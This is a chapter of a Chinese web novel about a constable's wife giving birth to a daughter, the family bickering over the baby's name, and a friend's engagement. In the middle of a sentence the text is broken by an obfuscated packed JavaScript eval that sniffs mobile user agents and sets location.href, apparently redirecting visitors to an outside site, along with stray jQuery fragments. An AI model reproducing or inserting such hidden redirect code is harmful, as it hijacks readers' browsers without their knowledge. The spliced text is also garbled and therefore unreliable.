62. 番外(一)

作品:《夫君他面冷心热

    是年十月十二,一声嘹亮的婴儿啼哭冲破夜空,迎着清晨第一抹光降临世上,让神经紧绷的周家人得到片刻的放松,高涨的喜悦瞬间便他们埋没了。


    “谢天谢地,熬了大半夜,小祖宗终于肯出来了。”周母双掌一合,朝天上拜了拜,嘴巴一直碎碎念个不停。


    周砚一晚上都在惦记屋里的人,站不住坐不稳,浑身上下仿佛有数千只蚂蚁在啃噬,不得劲,难安心。


    听到孩子啼哭,他行动比脑子快,噌一下站直身体,眨眼就冲到门口,就在他即将推门之际,动作生生顿住了。


    他深吸一口气才把堵在胸腔的冲动劲压下去。


    周母感谢完上天一睁眼正好看到这一幕,忙阻拦道:“儿啊!你冷静点,娘晓得你心疼媳妇,但里面正是紧要关头,打扰不得。”


    “嗯。”周砚紧握的拳头松了紧,紧了又松,闷头蹲墙角去了。


    一刻钟后,屋门由内打开,稳婆抱着孩子笑盈盈出现在人前,视线一扫,周母和周砚立马过来,争前恐后急切问道:“怎么样?”


    “我媳妇孩子都好吗?”


    “孙子还是孙女啊?我儿媳妇怎么样了?”


    母子俩各问各的,一口气几连问,好在稳婆见过世面,只用一句话便将微乱的场面控制下来了。


    “恭喜周捕头,恭喜老夫人,母女平安。”


    “哎呦,奶奶的乖孙女。”


    周母笑得见牙不见眼,说话间,已经将孩子从稳婆怀中抱过来了。


    周砚朝屋里探头探脑,询问稳婆道:“我能进去了吗?”


    “可以。”稳婆话音刚落,整个人就被挤到边上,高大的身影略过她匆匆进屋。


    那速度简直了,稳婆都愣了一瞬。


    正好周母抬眼看过来,忙同稳婆解释道:“他呀!老大年纪才娶到心仪的媳妇,满心满眼惦记着,老姐姐你别跟他一般见识,昨夜有劳了,给,沾沾喜气。”


    周母将提前准备好的钱袋子塞到稳婆手中,二人相视一笑,个中礼节尽在心里。


    “年轻人就这样,第一次当爹有人比周捕头还夸张呢!婆子我接生二十载,都习惯了。”


    稳婆客气回了一句,忙完接生的收尾工作,揣着丰厚的喜钱高高兴兴离开了。


    周砚走进屋中,一股难闻的血腥气夹杂着其他异味直冲他的鼻腔,他微微蹙眉,脚下步调加快,越过遮挡内侧的屏风,步子才缓下来。


    “我抱你回我们自己的屋休息。”


    “嗯。”


    周砚全程绷着一张脸,用被子将宁秋一裹,打横将她抱回干净的主屋。


    宁一夜没睡还要承受生孩子的痛苦,宁秋此时此刻已精疲力竭,只想不管不顾睡一觉。


    奈何她心中还惦记着看一眼孩子,脑子太清醒根本睡不着。


    听到脚步声,她侧头看过去,对上周砚关切的目光,心头一暖,问道:“孩子呢?你怎么不把她抱进来?”


    “孩子在阿娘那,我没抱。”周砚抿了抿唇,看到宁秋苍白的脸色,心里很不是滋味,“你想看孩子?”


    宁秋应声:“嗯。”


    “好,别动,我让阿娘抱进来。”周砚摸摸她的脸,到门口喊了一声,周母立即将孩子抱过来了。


    孩子小小一团,微红的皮肤有些皱,宁秋只看了一眼,便让周母抱一边去。


    “有点丑。”宁秋小声嘀咕,眼神中的嫌弃不加掩饰。


    也不知是不是母女连心,孩子感受到娘亲的嫌弃,哇一声大哭起来。


    “哎哟,我家乖乖不丑,好看着呢!你娘亲不是说你,不哭了哦!”


    周母赶忙哄孩子,屋里屋外走了好几轮,孩子才抽抽噎噎歇了音,哭累睡着了。


    三个大人纷纷松一口气,周砚道:“方才也没干嘛怎么就哭个不停,孩子是不是太小心眼了?”


    宁秋还没说什么,周母先不干了,为孙女辩解道:“你们年轻,没见过别家孩子刚出生的样子,要是见过,你们绝对不会嫌自家孩子。”


    周母将孙女小心翼翼放到床上,掖了掖包被,压低声音夸道:“瞧这大眼睛小嘴巴,手长脚长,你们夫妻相貌都很周正,孩子差不了,养两个月保准是朝阳街最俊的小娃娃。”


    周砚和宁秋一听,也觉得有理,心里隐隐生出期待,温柔又好奇地盯着孩子看。


    周母又道:“孩子大名要等满月后再取,小名尽量往贱处取,贱名好养活,我看小名就叫草儿吧!”


    “娘,不成,你那是老思想了,我家孩子是宝,取什么贱名?”


    周砚不满,眉头皱成川字,纹路都能夹死苍蝇了,“大名和小名我们夫妻都已取好,您老莫乱叫,以免孩子懂事后怨我们不重视。”


    “贱名好养活,那是老祖宗传下来的话,大家伙都这么说,我也是为了孩子好,罢了罢了,你们做父母的自己决定吧!”


    周母怕吵起来影响孩子睡觉,想了想,便不在这种小事上掰扯太多。


    她慈爱地叮嘱宁秋好好休息,又稀罕地摸摸孙女的脸,对周砚道:“出去同我说说孩子叫什么名,顺便杀只鸡炖汤给秋秋补一补身体,生孩子可伤身了,月子不坐好,后半辈子都得遭罪。”


    周砚接话道:“好,这些您比较懂,秋秋坐月子期间就辛苦您老了。”


    “辛苦什么,秋秋是我儿媳妇,喊我一声娘,对自家孩子好是应该的。”周母轻哼一声别过脸,又小声说起别的事。


    周砚随口应答着,轻手轻脚将门合上,母子俩的声音渐行渐远。


    宁秋侧头摸摸女儿的小脸,柔声嘀咕道:“芽芽,你要健健康康茁壮成长哦!”


    她说着,缓缓闭上双眼,没一会儿就睡着了。


    芽芽小姑娘很听娘亲的话,娘亲让她好好长大,她便卯足劲吭哧吭哧不断成长。


    她按时吃饭,困了就睡,一天一个样,满月酒时已经完全褪去刚出生的红皱皮肤,成了一个白白净净、肉乎乎的小婴儿,谁见了都忍不住夸一句可爱,咿咿呀呀动动手脚,围在身边的叔叔姨姨都控制不住被她俘获。


    “天越发冷了,孩子不禁冻,我先抱她回暖房,大家吃好喝好,有啥事就找砚哥儿。”


    周母担心孙女着凉,抱着孩子在亲朋好友中转一圈,很快就要抱回去了。


    女宾想看孩子可以借口去看宁秋,陪宁秋聊聊天,男宾们只得悻悻收回目光,羡慕地打趣周砚。


    特别是陈安,在场兄弟他最小,尚未娶妻,膝下没有臭小子,也没有软糯糯的女儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917949|171183||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,满月宴上多喝了两碗酒,冲动之下跑去陈红梅家嗷嗷哭,问她什么时候嫁给自己。


    陈红梅无奈又好笑,只说第二日醒来,他若是还记得醉酒说过什么话,便请媒人登门提亲吧!


    翌日,陈安兴冲冲催促长辈请媒人提亲,长辈们还以为他睡糊涂了,说梦话呢!


    两家定亲的消息当天晚上便传进宁秋的耳中,实在是陈安兴奋过了头,事刚定下,便迫不及待跑去府衙请酒,眉飞色舞将自己的壮举全说了。


    “他俩也算好事多磨了。”宁秋感慨。


    周砚也认同地点点头,笑道:“这小子性子活泛,瞧着不太靠谱,实则有耐心得紧,从我们成婚但现在,两年了,陈红梅才松口。”


    “那不是,不像某人,轻轻松松白得一个媳妇。”宁秋意有所指,傲娇地哼一声。


    周砚闻言摸摸鼻子,结实的手臂一揽,将宁秋搂入怀中轻轻咬她的耳朵,待她恼火反抗,他才松开一些,在她颈边蹭蹭,呢喃道:“我们跟他们不一样,我们两情相悦,心意相通,自然而然就在一起了,他们性格互补,很多想法不一样,才会多走弯路。”


    “哼,谁跟你心意相通了?我那会儿年纪小没见过世面,才被你钻空子哄去了。”宁秋缩着脖子嘴硬。


    “哦?是吗?”周砚闷笑,动作翻转间,宁秋便被他放倒在床上了。


    宁秋一急,下意识看向身侧熟睡的女儿,抗议道:“你别闹,吵醒孩子今晚都别想睡了。”


    周砚道:“没事的,我抱孩子给娘照看。”


    “那也不行,娘说了,要想身体恢复快点,得多坐半个月月子,你敢胡来,小心娘拿扫把抽你。”


    宁秋有恃无恐,其实她也有些想,只是周母千叮咛万嘱咐,为了身体健康考虑,还是再等等吧!


    周砚没想真同房,阿娘的话他谨记于心,也曾偷偷问过大夫,差不多的说辞,只是血气方刚的年纪,换种方式疏解也无口厚非。


    他哄道:“秋秋放心,我心里有数,不会伤到你,你帮帮我,好吗?”


    夫妻俩看着彼此,什么意思心领神会了。


    “嗯。”宁秋羞涩地别过脸,假斥道:“那你还不抱走孩子?晚些我要睡了,求我也不帮你。”


    “好!”


    惊喜来的太突然,周砚小心翼翼抱起孩子,轻手轻脚敲响了老母亲的房门。


    看到抱孩子杵在门口的亲儿子,周母深吸一口气,白眼一瞪,认命地接过来,关门前还不忘叮嘱道:“真心疼你媳妇便悠着点。”


    “嗯。”


    周砚头也不回,高大的身影很快没入黑暗中。


    平安住在周母隔壁,听到说话声抬头看向窗口,没见喊他,又重新倒回枕头,继续睡觉。


    芽芽很乖,除了吃喝拉撒基本不怎么哭。


    醒时咿咿呀呀跟哥哥说话,困了自己一个人窝在角落也能睡。


    平安也很喜欢妹妹,只要有空就会凑到小床边踮着脚往里面看。


    某日,他终于如愿抱上妹妹,高兴的不得了,谁知高兴不过片刻,妹妹便拉他身上了。


    平安本就有些洁癖,在五感攻势下哇哇大哭,嘴里喊着:“妹妹拉了,呜呜呜,刚抱上,她是不是不喜欢我?呜呜……”